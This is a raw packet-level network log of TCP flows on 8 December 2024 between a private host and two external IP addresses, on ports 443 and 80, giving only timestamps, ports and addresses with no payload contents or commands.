Dec 8, 2024 15:38:56.409316063 CET	49833	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.409321070 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.409765005 CET	49832	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.409770966 CET	443	49832	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.420730114 CET	443	49834	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.421084881 CET	49834	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.421097994 CET	443	49834	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.421459913 CET	49834	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.421463966 CET	443	49834	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.439502001 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.439807892 CET	49835	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.439816952 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.440191984 CET	49835	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.440196991 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.450829983 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.450892925 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.451328993 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.451375008 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.451558113 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.451570988 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.451606035 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.452600956 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.452652931 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.452826977 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.452867985 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.453787088 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.453830957 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.454687119 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.454731941 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.454965115 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.454977989 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.455029011 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.456530094 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.456571102 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.456733942 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.456772089 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.457299948 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.457312107 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.457344055 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.457359076 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.458450079 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.458498001 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.458834887 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.458877087 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.459605932 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.459655046 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.459709883 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.459743023 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.460827112 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.460947990 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.461359978 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.461407900 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.462063074 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.462074995 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.462105989 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.462120056 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.463148117 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.463187933 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.463255882 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.463298082 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.464322090 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.464364052 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.465182066 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.465226889 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.465518951 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.465531111 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.465567112 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.465594053 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.466654062 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.466700077 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.466964006 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.467025995 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.467900991 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.467943907 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.468486071 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.468528986 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.469070911 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.469094992 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.469121933 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.469136000 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.470191956 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.470232010 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.470431089 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.470477104 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.471355915 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.471402884 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.471482038 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.471525908 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.472573042 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.472620010 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.472707033 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.472753048 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.473706961 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.473757029 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.473896027 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.473941088 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.474910021 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.474970102 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.476109982 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.476140022 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.476151943 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.476161003 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.476177931 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.476195097 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.477232933 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.477278948 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.477545977 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.477588892 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.478401899 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.478447914 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.478669882 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.478714943 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.479593992 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.479640007 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.480045080 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.480092049 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.480808973 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.480822086 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.480854988 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.480868101 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.481931925 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.481978893 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.482693911 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.482738018 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.483103991 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.483150959 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.483352900 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.483398914 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.484292030 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.484338045 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.485496998 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.485512018 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.485536098 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.485548973 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.485575914 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.485616922 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.486656904 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.486704111 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.486762047 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.486804962 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.487788916 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.487837076 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.488442898 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.488492012 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.489078999 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.489098072 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.489124060 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.489137888 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.490190983 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.490236998 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.491296053 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.491343975 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.491377115 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.491389990 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.491414070 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.491427898 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.492531061 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.492579937 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.492896080 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.492942095 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.493685007 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.493730068 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.494108915 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.494153976 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.494846106 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.494889975 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.496037960 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.496051073 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.496085882 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.496119976 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.496160984 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.497210979 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.497265100 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.497689009 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.497735977 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.498430014 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.498471975 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.498678923 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.498747110 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.499702930 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.499749899 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.500777006 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.500822067 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.500885963 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.500900984 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.500926018 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.500937939 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.501899004 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.501952887 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.502723932 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.502767086 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.503079891 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.503119946 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.503324986 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.503364086 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.504338980 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.504379988 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.505228996 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.505275965 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.505460024 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.505475998 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.505501986 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.505526066 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.506603956 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.506644964 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.506773949 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.506813049 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.507827997 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.507869005 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.509088039 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.509099960 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.509114981 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.509130001 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.509143114 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.509162903 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.510353088 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.510405064 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.511003017 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.511044025 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.511421919 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.511462927 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.511622906 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.511671066 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.512447119 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.512495995 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.642965078 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.643578053 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.643624067 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.643635035 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.643692017 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.643738985 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.644474983 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.644525051 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.644989014 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.645042896 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.645653963 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.645708084 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.645745039 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.645791054 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.646800041 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.646852970 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.646855116 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.646898985 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.648001909 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.648056030 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.648401976 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.648452997 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.649187088 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.649241924 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.649307013 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.649353027 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.650496960 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.650548935 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.650711060 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.650759935 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.651601076 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.651649952 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.651726961 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.651777983 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.652681112 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.652729988 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.652821064 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.652868032 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.653865099 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.653913021 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.654426098 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.654473066 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.655038118 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.655128002 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.655200958 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.656192064 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.656255007 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.656364918 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.656415939 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.657386065 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.657437086 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.658476114 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.658524036 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.658612967 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.658626080 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.658674955 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.659720898 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.659770966 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.660028934 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.660095930 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.660906076 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.660949945 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.661201954 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.661251068 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.662072897 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.662122011 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.662298918 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.662345886 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.663304090 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.663357019 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.663975954 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.664021969 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.664469004 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.664520025 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.664648056 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.664699078 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.665601969 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.665652990 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.666712046 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.666759014 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.666805029 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.666816950 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.666847944 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.668014050 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.668064117 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.669578075 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.669626951 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.669656992 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.669699907 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.669775963 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.669823885 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.670617104 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.670665026 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.670892954 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.670941114 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.671490908 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.671540022 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.672137976 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.672189951 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.672674894 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.672719955 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.672830105 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.672873974 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.673816919 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.673865080 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.674557924 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.674612999 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.674993038 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.675048113 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.675199986 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.675251961 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.676187992 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.676245928 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.676321983 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.676373959 CET	49825	80	192.168.2.6	185.215.113.16
